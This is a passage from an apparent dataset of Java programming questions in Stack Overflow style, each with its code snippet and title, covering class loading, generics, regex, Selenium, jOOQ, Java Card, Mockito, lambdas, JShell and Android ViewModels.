case-sensitive file system and a newer JVM than the Linux box ) I get the same output as Windows :","public class DLExceptionType { private static void printFindError ( String name ) { System.out.print ( name + `` : `` ) ; try { Class.forName ( name ) ; System.out.println ( `` ** no error ** '' ) ; } catch ( Throwable e ) { System.out.println ( e ) ; } } public static void main ( String [ ] args ) { printFindError ( `` DLExceptionType '' ) ; printFindError ( `` dLExceptionType '' ) ; // note the mis-capitalization } } [ eos18 : ~ ] $ java -version DLExceptionTypejava version `` 1.6.0_26 '' Java ( TM ) SE Runtime Environment ( build 1.6.0_26-b03 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 20.1-b02 , mixed mode ) [ eos18 : ~ ] $ java DLExceptionTypeDLExceptionType : ** no error **dLExceptionType : java.lang.ClassNotFoundException : dLExceptionType java version `` 1.7.0_01 '' Java ( TM ) SE Runtime Environment ( build 1.7.0_01-b08 ) Java HotSpot ( TM ) Client VM ( build 21.1-b02 , mixed mode , sharing ) Y : \Temp > java DLExceptionTypeDLExceptionType : ** no error **dLExceptionType : java.lang.NoClassDefFoundError : dLExceptionType ( wrong name : DLExceptionType ) $ java -versionjava version `` 1.6.0_29 '' Java ( TM ) SE Runtime Environment ( build 1.6.0_29-b11-402-10M3527 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 20.4-b02-402 , mixed mode ) $ java DLExceptionTypeDLExceptionType : ** no error **dLExceptionType : java.lang.NoClassDefFoundError : dLExceptionType ( wrong name : DLExceptionType )",Capitalization and NoClassDefFoundError vs ClassNotFoundException +Java,"MyEnum1 generates the error Can not reference a field before it is defined , which is quite understandable , since declaration order matters here . But why does the following compile ? FOO refers to BAR before BAR is defined , am I wrong ?","public enum MyEnum1 { FOO ( BAR ) , BAR ( FOO ) ; private MyEnum1 other ; private MyEnum1 ( MyEnum1 other ) { this.other = other ; } public MyEnum1 getOther ( ) { return other ; } } public enum MyEnum2 { FOO { public MyEnum2 getOther ( ) { return BAR ; } } , BAR { public MyEnum2 getOther ( ) { return FOO ; } } ; public abstract MyEnum2 getOther ( ) ; }",It seems that I can *reference a field before it is defined* +Java,"I have written a small script that takes the default IP address for Epson printers we receive at my company and changes them automatically according to the requirement . This is done using Selenium HtmlUnitDriver.The script gets the page , inserts the new IP , and than submits it . Because the IP changes once we submit a second time , the page is no longer 192.168.192.168 , and the script does not want to complete.Below is the script : The script times out before it can complete . When the reset element is clicked , the initial URL of http : //192.168.192.168/ctcpip.htm is effectively nonexistent , since we have changed it to 192.169.192.169 . This is expected behavior , and the entire point of the program.The console reads : How do I tell my driver instance that it 's totally cool the page changed so the process can exit properly ? The script needs to reach the driver.quit ( ) ; line .","import org.openqa.selenium.By ; import org.openqa.selenium.WebDriver ; import org.openqa.selenium.WebElement ; import org.openqa.selenium.htmlunit.HtmlUnitDriver ; public class Main { public static void main ( String [ ] args ) { // Creating a new instance of the HTML unit driver . WebDriver driver = new HtmlUnitDriver ( ) ; driver.get ( `` http : //192.168.192.168/ctcpip.htm '' ) ; // Find and change the IP Address field . WebElement element = driver.findElement ( By.name ( `` IpAddress '' ) ) ; element.clear ( ) ; element.sendKeys ( `` 192.168.192.169 '' ) ; element.submit ( ) ; // Reset the printer . This changes it 's IP as well , causing the initial driver page to no longer exist . WebElement reset = driver.findElement ( By.name ( `` Submit '' ) ) ; reset.submit ( ) ; // The script never gets this far . driver.quit ( ) ; } } Nov 03 , 2016 10:36:52 AM org.apache.http.impl.execchain.RetryExec executeINFO : I/O exception ( java.net.SocketException ) caught when processing request to { } - > http : //192.168.192.168:80 : Operation timed outNov 03 , 2016 10:36:52 AM org.apache.http.impl.execchain.RetryExec executeINFO : Retrying request to { } - > http : //192.168.192.168:80Exception in thread `` main '' java.lang.RuntimeException : org.apache.http.conn.HttpHostConnectException : Connect to 192.168.192.168:80 [ /192.168.192.168 ] failed : Operation timed out at com.gargoylesoftware.htmlunit.javascript.JavaScriptEngine.doProcessPostponedActions ( JavaScriptEngine.java:739 ) at com.gargoylesoftware.htmlunit.javascript.JavaScriptEngine.processPostponedActions ( JavaScriptEngine.java:820 ) at com.gargoylesoftware.htmlunit.html.HtmlElement.click ( HtmlElement.java:1325 ) at com.gargoylesoftware.htmlunit.html.HtmlElement.click ( HtmlElement.java:1268 ) at com.gargoylesoftware.htmlunit.html.HtmlElement.click ( HtmlElement.java:1216 ) at org.openqa.selenium.htmlunit.HtmlUnitWebElement.submit ( HtmlUnitWebElement.java:175 ) at Main.main ( Main.java:19 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at com.intellij.rt.execution.application.AppMain.main ( AppMain.java:147 ) Caused by : org.apache.http.conn.HttpHostConnectException : Connect to 192.168.192.168:80 [ /192.168.192.168 ] failed : Operation timed out at org.apache.http.impl.conn.HttpClientConnectionOperator.connect ( HttpClientConnectionOperator.java:140 ) at org.apache.http.impl.conn.PoolingHttpClientConnectionManager.connect ( PoolingHttpClientConnectionManager.java:318 ) at org.apache.http.impl.execchain.MainClientExec.establishRoute ( MainClientExec.java:363 ) at org.apache.http.impl.execchain.MainClientExec.execute ( MainClientExec.java:219 ) at org.apache.http.impl.execchain.ProtocolExec.execute ( ProtocolExec.java:195 ) at org.apache.http.impl.execchain.RetryExec.execute ( RetryExec.java:86 ) at org.apache.http.impl.execchain.RedirectExec.execute ( RedirectExec.java:108 ) at org.apache.http.impl.client.InternalHttpClient.doExecute ( InternalHttpClient.java:184 ) at org.apache.http.impl.client.CloseableHttpClient.execute ( CloseableHttpClient.java:72 ) at com.gargoylesoftware.htmlunit.HttpWebConnection.getResponse ( HttpWebConnection.java:178 ) at com.gargoylesoftware.htmlunit.WebClient.loadWebResponseFromWebConnection ( WebClient.java:1313 ) at com.gargoylesoftware.htmlunit.WebClient.loadWebResponse ( WebClient.java:1230 ) at com.gargoylesoftware.htmlunit.WebClient.getPage ( WebClient.java:338 ) at com.gargoylesoftware.htmlunit.WaitingRefreshHandler.handleRefresh ( WaitingRefreshHandler.java:92 ) at com.gargoylesoftware.htmlunit.html.HtmlPage.executeRefreshIfNeeded ( HtmlPage.java:1446 ) at com.gargoylesoftware.htmlunit.html.HtmlPage.initialize ( HtmlPage.java:306 ) at com.gargoylesoftware.htmlunit.WebClient.loadWebResponseInto ( WebClient.java:475 ) at com.gargoylesoftware.htmlunit.WebClient.loadDownloadedResponses ( WebClient.java:2074 ) at com.gargoylesoftware.htmlunit.javascript.JavaScriptEngine.doProcessPostponedActions ( JavaScriptEngine.java:733 ) ... 11 moreCaused by : java.net.ConnectException : Operation timed out at java.net.PlainSocketImpl.socketConnect ( Native Method ) at java.net.AbstractPlainSocketImpl.doConnect ( AbstractPlainSocketImpl.java:350 ) at java.net.AbstractPlainSocketImpl.connectToAddress ( AbstractPlainSocketImpl.java:206 ) at java.net.AbstractPlainSocketImpl.connect ( AbstractPlainSocketImpl.java:188 ) at java.net.SocksSocketImpl.connect ( SocksSocketImpl.java:392 ) at java.net.Socket.connect ( Socket.java:589 ) at org.apache.http.conn.socket.PlainConnectionSocketFactory.connectSocket ( PlainConnectionSocketFactory.java:72 ) at org.apache.http.impl.conn.HttpClientConnectionOperator.connect ( HttpClientConnectionOperator.java:123 ) ... 29 moreProcess finished with exit code 1",SocketException caught in Selenium HtmlUnitDriver program +Java,"It can be an obvious question but I am thinking how to replace the method below with java 8 streams.I am new in Java , so java 8 it is like an unexplored world for me.Thank you !","private String assembleString ( int numberOfCharacters , char character ) { StringBuilder stringBuilder = new StringBuilder ( ) ; for ( int i = 0 ; i < numberOfCharacters ; i++ ) { stringBuilder.append ( character ) ; } return stringBuilder.toString ( ) ; }",How to replace the method with Java 8 streams ? +Java,I attempted to run the code gen with this command line as described in the documentation here : I get the following error : I 'm using Java 11 : What am I missing ? PS . I 'm very new to the world of Java ...,"java -classpath `` jooq-3.12.3.jar ; jooq-meta-3.12.3.jar ; jooq-codegen-3.12.3.jar ; mysql-connector-java-5.1.18-bin.jar ; . '' org.jooq.codegen.GenerationTool library.xml Jan 10 , 2020 5:10:45 PM org.jooq.tools.JooqLogger infoINFO : Initialising properties : library.xmlException in thread `` main '' java.lang.NoClassDefFoundError : javax/xml/bind/annotation/XmlSchemaat org.jooq.util.jaxb.tools.MiniJAXB.getNamespace ( MiniJAXB.java:389 ) ... openjdk version `` 11.0.5 '' 2019-10-15OpenJDK Runtime Environment AdoptOpenJDK ( build 11.0.5+10 ) OpenJDK 64-Bit Server VM AdoptOpenJDK ( build 11.0.5+10 , mixed mode )",Unable to run JOOQ GenerationTool with Java 11 ( NoClassDefFoundError : javax/xml/bind/annotation/XmlSchema ) +Java,"While answering another question , I wrote a regex to match all whitespace up to and including at most one newline . I did this using negative lookbehind for the \R linebreak matcher : Afterwards I was thinking about it and I said , oh no what if there is a \r\n ? Surely it will grab the first linebreakish character \r and then I will be stuck with a spurious \n on the front of my next string , right ? So I went back to test ( and presumably fix ) it . However , when I tested the pattern , it matched an entire \r\n . It does not match only the \r leaving \n as one might expect.However , when I use the `` equivalent '' pattern mentioned in the documentation for \R , it returns false . So is that a bug with Java , or is there a valid reason why it matches ?","( ( ? < ! \R ) \s ) * `` \r\n '' .matches ( `` ( ( ? < ! \\R ) \\s ) * '' ) ; // true , expected false",Java-8 regex negative lookbehind with ` \R ` +Java,"I am trying to implement cryptographic algorithms on elliptic curve in Java Card.First , I implemented it on 256bits elliptic curve ( the NIST one ) and it worked well.Now I want to test it on a 512bits curve ( and not 521 like the NIST one ) . My card support this size and I found a database of elliptic curves ( well defined for cryptography ) of this size.But I am encountering a strange problem ... When I try to initialize my key : The function setFieldFP raises a CryptoException with the reason code ILLEGAL_VALUE which means that the key length does n't match ... But it does ( 0x0200 is the size of the curve in bits and 0X0040 is the length of the prime in bytes ) ! I said it is really strange because if I try with the following value : It works fine ... So I have to conclude that the CryptoException that is raised does n't really concern the size of the parameter because , in the two cases , the size is the same ... So what ? Does my card only support elliptic curve on specific fields ? Has someone ever encountered this kind of problem ?","ECPublicKey pubKey = ( ECPublicKey ) KeyBuilder.buildKey ( KeyBuilder.TYPE_EC_FP_PUBLIC , ( short ) 0x0200 , false ) ; pubKey.setFieldFP ( new byte [ ] { ( byte ) 0x25 , ( byte ) 0x37 , ( byte ) 0xD2 , ( byte ) 0x9C , ( byte ) 0x8B , ( byte ) 0xFE , ( byte ) 0x7D , ( byte ) 0x9F , ( byte ) 0x48 , ( byte ) 0x98 , ( byte ) 0xF7 , ( byte ) 0x60 , ( byte ) 0xF8 , ( byte ) 0x7D , ( byte ) 0xBF , ( byte ) 0x63 , ( byte ) 0x90 , ( byte ) 0x6E , ( byte ) 0x28 , ( byte ) 0x99 , ( byte ) 0x0A , ( byte ) 0x27 , ( byte ) 0x0C , ( byte ) 0xA6 , ( byte ) 0x15 , ( byte ) 0xD9 , ( byte ) 0x1D , ( byte ) 0xC4 , ( byte ) 0x89 , ( byte ) 0xA8 , ( byte ) 0xD0 , ( byte ) 0xA1 , ( byte ) 0xA0 , ( byte ) 0xE7 , ( byte ) 0x52 , ( byte ) 0x43 , ( byte ) 0xB0 , ( byte ) 0x39 , ( byte ) 0x01 , ( byte ) 0x6A , ( byte ) 0x61 , ( byte ) 0x43 , ( byte ) 0x5C , ( byte ) 0xA5 , ( byte ) 0x91 , ( byte ) 0xE9 , ( byte ) 0x4B , ( byte ) 0x1A , ( byte ) 0xF7 , ( byte ) 0x60 , ( byte ) 0xC9 , ( byte ) 0xAE , ( byte ) 0xE2 , ( byte ) 0xCE , ( byte ) 0xE0 , ( byte ) 0x15 , ( byte ) 0x53 , ( byte ) 0x51 , ( byte ) 0x1C , ( byte ) 0x93 , ( byte ) 0x0E , ( byte ) 0xF3 , ( byte ) 0xBA , ( byte ) 0x0B } , ( short ) 0x0000 , ( short ) 0x0040 ) ; ECPublicKey pubKey = ( ECPublicKey ) KeyBuilder.buildKey ( KeyBuilder.TYPE_EC_FP_PUBLIC , ( short ) 0x0200 , false ) ; pubKey.setFieldFP ( new byte [ ] { ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x01 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x01 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0x00 , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF } , ( short ) 0x0000 , ( short ) 0x0040 ) ;",Restricted elliptic curves in Java Card +Java,"Consider the following pathological example : The two instances created in the constructor are of the nested classes.But how might I refer to the java.util.ArrayList that we all know and love in the same class ? We ca n't import it , and we ca n't use the fully-qualified name , as the nested class symbols would be used instead.What can we do in this case ? ( Other than the obvious - stop using such wantonly evil names for the nested classes ) .",class Ideone { static class ArrayList < T > { ArrayList ( ) { System.out.println ( `` ! ! `` ) ; } } static class java { static class util { static class ArrayList < T > { ArrayList ( ) { System.out.println ( `` Here '' ) ; } } } } public static void main ( String [ ] args ) { new ArrayList < > ( ) ; new java.util.ArrayList < > ( ) ; // Can I refer to the `` usual '' java.util.ArrayList ? } },How to refer to a class when both simple and fully-qualified names clash +Java,"I have a REST web service that runs on Jetty . I want to write a Java client that chunks along a huge batch of documents to that rest service using the same web connection.I was able to establish an Iterator based streaming approach here : Sending a stream of documents to a Jersey @ POST endpointThis does not work unless you set clientConfig.property ( ClientProperties.REQUEST_ENTITY_PROCESSING , RequestEntityProcessing.CHUNKED ) ; because the Content-length is unknown.While somewhat working , the chunked transfer seems to lose a few documents . For example : Maybe it 's sending chunks like : { some : doc } , { some : doc } , { some : doc } , { some : doc } , { some : doc } , { some : doc } , { some : doSo I 'm losing some each time at the ends ? UPDATE : I was wrong about this.How do I make it not do that ? Any ideas what else might be happening ?","num_docs 500000numFound 499249 ClientConfig clientConfig = new ClientConfig ( ) ; clientConfig.property ( ClientProperties.CONNECT_TIMEOUT , ( int ) TimeUnit.SECONDS.toMillis ( 60 ) ) ; clientConfig.property ( ClientProperties.REQUEST_ENTITY_PROCESSING , RequestEntityProcessing.CHUNKED ) ; clientConfig.property ( ClientProperties.ASYNC_THREADPOOL_SIZE , 100 ) ; clientConfig.property ( ApacheClientProperties.CONNECTION_MANAGER , HttpClientFactory.createConnectionManager ( name , metricRegistry , configuration ) ) ; ApacheConnectorProvider connector = new ApacheConnectorProvider ( ) ; clientConfig.connectorProvider ( connector ) ; clientConfig.register ( new ClientRequestFilter ( ) { @ Override public void filter ( ClientRequestContext requestContext ) throws IOException { List < Object > orig = requestContext.getHeaders ( ) .remove ( HttpHeaders.CONTENT_LENGTH ) ; if ( orig ! = null & & ! orig.isEmpty ( ) ) { requestContext.getHeaders ( ) .addAll ( `` Length '' , orig ) ; } } } ) ; clientConfig.register ( new ClientRequestFilter ( ) { @ Override public void filter ( ClientRequestContext requestContext ) throws IOException { if ( requestContext.getMediaType ( ) ! = null & & requestContext.getMediaType ( ) .getType ( ) ! = null & & requestContext.getMediaType ( ) .getType ( ) .equalsIgnoreCase ( `` multipart '' ) ) { final MediaType boundaryMediaType = Boundary.addBoundary ( requestContext.getMediaType ( ) ) ; if ( boundaryMediaType ! = requestContext.getMediaType ( ) ) { requestContext.getHeaders ( ) .putSingle ( HttpHeaders.CONTENT_TYPE , boundaryMediaType.toString ( ) ) ; } if ( ! requestContext.getHeaders ( ) .containsKey ( `` MIME-Version '' ) ) { requestContext.getHeaders ( ) .putSingle ( `` MIME-Version '' , `` 1.0 '' ) ; } } } } ) ;",With Client REQUEST_ENTITY_PROCESSING set to CHUNKED I lose documents +Java,"it 's common to see something like this in code , hopefully only during development : I would like ant to be able to a ) warn ( on TODO : / FIXME : tags ) or fail ( on XXX : or simmilar ) The build server is linux , home grown and based on ant . Would need to work at least on linux if not on windows.We also use perforce if an alternative is to block file commits.We also use eclipse , however I do n't think you can make it a fatal error . ( yes , there 's the tasks view , however I would like to be able to elevate certain tags to build-breakers )",//XXX : not in production ! String password = `` hello '' ; // getActualPassword ( ... ) ; ... catch ( Exception e ) { /* TODO : Auto-generated catch block*/ },How to use ant to check for tags ( TODO : etc ) in java source +Java,"I am playing with Java utility functions . I have the following code : Now here I am getting an error for this.callback.apply ( `` 123 '' ) as it requires T and can not cast it to String.Is it possible to have generic return types for Function < T , T > ? I can send T , but then its received as an Object in my lambda , but I want as String or Integer .","public class Checker < T > { private T value ; private Function < T , T > callback ; private Checker ( T value ) { this.value = value ; } public static Checker when ( String o ) { return new Checker < String > ( o ) ; } public static Checker when ( int o ) { return new Checker < Integer > ( o ) ; } public Checker then ( Function < T , T > callback ) { this.callback = callback ; return this ; } public void execute ( ) { if ( this.value instanceof String ) { this.callback.apply ( `` 123 '' ) ; } if ( this.value instanceof Integer ) { this.callback.apply ( 123 ) ; } } Checker.when ( `` 123 '' ) .then ( str - > { return `` '' ; } ) .execute ( ) ; Checker.when ( 123 ) .then ( str - > { return `` '' ; } ) .execute ( ) ;",Java generics with Function.apply +Java,Using `` 0 '' ( zero ) as a prefix in an integer literal changes its base to octal . This is whywill print 8 . But using `` F '' as a suffixwill make it float losing octal base ( going back to decimal ) and will print 10.0 . Is there any difference between 010F and 10F ? Has the `` 0 '' prefix any kind of meaning when working with floats ?,System.out.println ( 010 ) ; System.out.println ( 010F ) ;,What 's the meaning of `` 0 '' as prefix in a floating point literal ? +Java,"Is there an up-to-date overview of Java 8 features , which are not yet supported in Kotlin ? For example , calling a default method like Map # putIfAbsent fails to compile ( unsupported reference error ) : If the default method is overridden , it works : That is what I found out by experiments , but for deciding whether migrating from a Java 8 code basis to Kotlin is already possible , a systematic overview would be valuable.Update : The code in my example was created by the `` Java to Kotlin '' converter . As user2235698 pointed out , Map < Int , Int > is a immutable Kotlin map . Still , the example fails to compile when I change it to a java.util.Map map . My claim that it has to do something with default methods , however , is misleading.As it is beyond the scope of this question , I opened a follow-up question , here : Does java.util.HashMap not implement java.util.Map in Kotlin ?","import java.util . *fun main ( args : Array < String > ) { val x : Map < Int , Int > = HashMap < Int , Int > ( ) x.putIfAbsent ( 1 , 2 ) } import java.util . *fun main ( args : Array < String > ) { val x : HashMap < Int , Int > = HashMap < Int , Int > ( ) x.putIfAbsent ( 1 , 2 ) }",Kotlin : What features of Java 8 are not yet supported ? +Java,I had this piece of code in my application ( simplified version ) : Then I decided to refactor the if-else statement to a ternary conditional expression so my code is more concise : It turned out that in case check is true the two versions print different results : or : Is n't the ternary conditional equivalent to the corresponding if-else ?,Object result ; if ( check ) result = new Integer ( 1 ) ; else result = new Double ( 1.0 ) ; System.out.println ( result ) ; return result ; Object result = check ? new Integer ( 1 ) : new Double ( 1.0 ) ; System.out.println ( result ) ; return result ; 1 1.0,Weird behaviour of ternary conditional with boxed types in Java +Java,"I am confused about the rules around wildcard bounds . It seems that sometimes it is OK to declare a method parameter whose bound does not satisfy the bound declared by the class . In the below code , method foo ( ... ) compiles fine but bar ( ... ) does not . I do n't understand why either one is allowed .",public class TestSomething { private static class A < T extends String > { } public static void foo ( A < ? extends Comparable < ? > > a ) { } public static void bar ( A < ? extends Comparable < Double > > a ) { } },Java : Covariant Wildcard Bounds in Method parameters +Java,"I 'm working on a project with heavy security constraints.A requirement is to seal our jars.Since we sealed jars , a lot of our junit-tests failed with the following error : It looks like the problem is caused by Mockito : We `` mock '' and `` spy '' classes coming from some external sealed jars , and the `` mock classes '' generated by Mockito have the same package than the `` mocked classes '' .Because the package from the dependency jar is sealed , the tested jar can not create a class in the same package ( the URLClassLoader check that the same package is not used from different sealed jars ) .I tried to add a specific SecurityManager .policy file for junit testing , but I did n't found a property allowing to have classes inside a package already sealed by a dependency.Moreover , it seems that the URLClassLoader has no option to remove sealing violation check.The version of Mockito we use is 1.8.5 . I tried to use the latest version ( 1.9.5 ) but it did n't fix the error.If someone has an idea ...",java.lang.SecurityException : sealing violation : package [ a.dependency.package ] is sealed at java.net.URLClassLoader.defineClass ( URLClassLoader.java:234 ) at java.net.URLClassLoader.access $ 000 ( URLClassLoader.java:58 ) at java.net.URLClassLoader $ 1.run ( URLClassLoader.java:197 ) at java.security.AccessController.doPrivileged ( Native Method ) at java.net.URLClassLoader.findClass ( URLClassLoader.java:190 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:306 ) at sun.misc.Launcher $ AppClassLoader.loadClass ( Launcher.java:301 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:247 ) at java.lang.Class.getDeclaredMethods0 ( Native Method ) at java.lang.Class.privateGetDeclaredMethods ( Class.java:2427 ) at java.lang.Class.getDeclaredMethods ( Class.java:1791 ) at org.mockito.cglib.core.ReflectUtils.addAllMethods ( ReflectUtils.java:349 ) at org.mockito.cglib.proxy.Enhancer.getMethods ( Enhancer.java:422 ) at org.mockito.cglib.proxy.Enhancer.generateClass ( Enhancer.java:457 ) at org.mockito.cglib.core.DefaultGeneratorStrategy.generate ( DefaultGeneratorStrategy.java:25 ) at org.mockito.cglib.core.AbstractClassGenerator.create ( AbstractClassGenerator.java:217 ) at org.mockito.cglib.proxy.Enhancer.createHelper ( Enhancer.java:378 ) at org.mockito.cglib.proxy.Enhancer.createClass ( Enhancer.java:318 ) at org.mockito.internal.creation.jmock.ClassImposterizer.createProxyClass ( ClassImposterizer.java:93 ) at org.mockito.internal.creation.jmock.ClassImposterizer.imposterise ( ClassImposterizer.java:50 ) at org.mockito.internal.util.MockUtil.createMock ( MockUtil.java:54 ) at org.mockito.internal.MockitoCore.mock ( MockitoCore.java:45 ) at org.mockito.Mockito.spy ( Mockito.java:991 ) at [ ... ] at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:39 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:25 ) at java.lang.reflect.Method.invoke ( Method.java:597 ) at org.junit.runners.model.FrameworkMethod $ 1.runReflectiveCall ( FrameworkMethod.java:44 ) at org.junit.internal.runners.model.ReflectiveCallable.run ( ReflectiveCallable.java:15 ) at org.junit.runners.model.FrameworkMethod.invokeExplosively ( FrameworkMethod.java:41 ) at org.junit.internal.runners.statements.RunBefores.evaluate ( RunBefores.java:27 ) at org.junit.runners.BlockJUnit4ClassRunner.runNotIgnored ( BlockJUnit4ClassRunner.java:79 ) at org.junit.runners.BlockJUnit4ClassRunner.runChild ( BlockJUnit4ClassRunner.java:71 ) at org.junit.runners.BlockJUnit4ClassRunner.runChild ( BlockJUnit4ClassRunner.java:49 ) at org.junit.runners.ParentRunner $ 3.run ( ParentRunner.java:193 ) at org.junit.runners.ParentRunner $ 1.schedule ( ParentRunner.java:52 ) at org.junit.runners.ParentRunner.runChildren ( ParentRunner.java:191 ) at org.junit.runners.ParentRunner.access $ 000 ( ParentRunner.java:42 ) at org.junit.runners.ParentRunner $ 2.evaluate ( ParentRunner.java:184 ) at org.junit.runners.ParentRunner.run ( ParentRunner.java:236 ) at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run ( JUnit4TestReference.java:50 ) at org.eclipse.jdt.internal.junit.runner.TestExecution.run ( TestExecution.java:38 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests ( RemoteTestRunner.java:467 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests ( RemoteTestRunner.java:683 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run ( RemoteTestRunner.java:390 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main ( RemoteTestRunner.java:197 ),mockito vs sealed packages +Java,"I have an interface DataSeries with a methodFor various reasons ( primarily because I 'm using this with MATLAB , and MATLAB handles int [ ] well ) I need to return an array rather than a List.I do n't want my implementing classes to return the int [ ] array because it is mutable . What is the most efficient way to copy an int [ ] array ( sizes in the 1000-1000000 length range ) ? Is it clone ( ) ?",int [ ] getRawData ( ) ;,Java : most efficient way to defensively copy an int [ ] ? +Java,"I 'm building a very simple library in Java , which will be packaged in a single Jar . It should only expose one class : World . The World class uses the subclasses of the Block class , which is in the same package ( com.yannbane.a ) , and does n't provide a lot of functionality itself , but needs to be extended . I planned to create another package , com.yannbane.a.blocks , which would have all the block types ( subclasses ) .The directory/package structure should , therefor , look like this : However , in order for the subclasses of Block to actually extend the Block class , I needed to make the Block class public . This destroys my goal of having the Jar file only expose a single class , World . I also need to make the subclasses public so the World could use them.How can I retain this package and directory structure but still have my Jar only expose the World class , not other classes ?",com/ yannbane/ a/ World.java Block.java blocks/ Brick.java Stone.java,Java packages and classes +Java,"When creating a lambda manually using MethodHandles.Lookup , MethodHandles , MethodTypes , etc , how might one implement variable capture ? For example , with no capture : and its clunkier form , using stuff in java.lang.invoke : would return a simple , pointless IntSupplier that returns 42 when invoked , but what if one would like to capture something ?","public IntSupplier foo ( ) { return this : :fortyTwo ; } /** * Would not normally be virtual , but oh well . */public int fortyTwo ( ) { return 42 ; } public IntSupplier foo ( ) { MethodHandles.Lookup lookup = MethodHandles.lookup ( ) ; MethodType methodType = MethodType.methodType ( int.class ) , lambdaType = MethodType.methodType ( IntSupplier.class ) ; MethodHandle methodHandle = lookup.findVirtual ( getClass ( ) , `` fortyTwo '' , methodType ) ; CallSite callSite = LambdaMetafactory.metafactory ( lookup , `` getAsInt '' , lambdaType , methodType , methodHandle , methodType ) ; return ( IntSupplier ) callSite.getTarget ( ) .invokeExact ( ) ; } /** * Would not normally be virtual , but oh well . */public int fortyTwo ( ) { return 42 ; }",Lambda Metafactory Variable Capture +Java,"While trying JShell in Fedora I tried to used snippet transformation shortcut as specified here , but I think It is not workingIt is showing Unexpected character after Shift-Tab . Use `` i '' for auto-import or `` v '' for variable creation . For more information see : /help shortcutsI tried the ways that specified in those messages but still same resultany Ideas or I am doing something wrong ? $ javac -versionjavac 9 java -versionopenjdk version `` 9 '' OpenJDK Runtime Environment ( build 9+181 ) OpenJDK 64-Bit Server VM ( build 9+181 , mixed mode ) Here is what I am trying to do : jshell $ new JFrameI typed new JFrame and then pressed shift+tab i ( holding shift pressed and releasing tab and then pressing i ) .as per the docs it should show me something like : but it is showing Unexpected character after Shift-Tab . Use `` i '' for auto-import or `` v '' for variable creation . For more information see : instead",0 : Do nothing1 : import : javax.swing.JFrameChoice :,JShell < Shift+tab i > is not working properly in jdk 9 +Java,"Why do collections that are not related to the template class drop their type ? Here is an example : ( Sorry , it will not compile because of the error I 'm confused about . ) This code throws an error upon compilation : If I specify the template of B like B < String > , or if I remove the template from B completely , then everything is ok.What 's going on ? EDIT : people pointed out there was no need to make B generic so I added to B","package test ; import java.util.ArrayList ; import java.util.List ; public class TemplateTest { public static class A { } public static class B < T extends Comparable > { List < A > aList = new ArrayList < A > ( ) ; public List < A > getAList ( ) { return aList ; } public int compare ( T t , T t1 ) { return t.compareTo ( t1 ) ; } } public static void main ( String [ ] args ) { B b = new B ( ) ; for ( A a : b.getAList ( ) ) { //THIS DOES NOT WORK } List < A > aList = b.getAList ( ) ; //THIS WORKS for ( A a : aList ) { } } } test/TemplateTest.java:24 : incompatible types found : java.lang.Object required : test.TemplateTest.A for ( A a : b.getAList ( ) ) {",Generic screws up non-related collection +Java,"I switched from using ViewModelProviders.of ( this ) due to said being depreciated . I researched other questions and used code from the responses . All of the code came through without errors , but when I try to run the application , I get an exception . Error occurring here . CheckInRecentListMainViewModel","Process : com.example.checkingin , PID : 555 java.lang.RuntimeException : Can not create an instance of class com.example.checkingin.MainViewModel at androidx.lifecycle.ViewModelProvider $ AndroidViewModelFactory.create ( ViewModelProvider.java:275 ) at androidx.lifecycle.SavedStateViewModelFactory.create ( SavedStateViewModelFactory.java:106 ) at androidx.lifecycle.ViewModelProvider.get ( ViewModelProvider.java:185 ) at androidx.lifecycle.ViewModelProvider.get ( ViewModelProvider.java:150 ) at com.example.checkingin.CheckInRecentList.onActivityCreated ( CheckInRecentList.java:123 ) package com.example.checkingin ; import android.content.Context ; import android.net.Uri ; import android.os.Bundle ; import androidx.annotation.Nullable ; import androidx.fragment.app.Fragment ; import androidx.lifecycle.Observer ; import androidx.lifecycle.ViewModelProvider ; import androidx.recyclerview.widget.LinearLayoutManager ; import androidx.recyclerview.widget.RecyclerView ; import android.view.LayoutInflater ; import android.view.View ; import android.view.ViewGroup ; import android.widget.Button ; import android.widget.TextView ; import java.util.List ; /** * A simple { @ link Fragment } subclass . * Activities that contain this fragment must implement the * { @ link CheckInRecentList.OnFragmentInteractionListener } interface * to 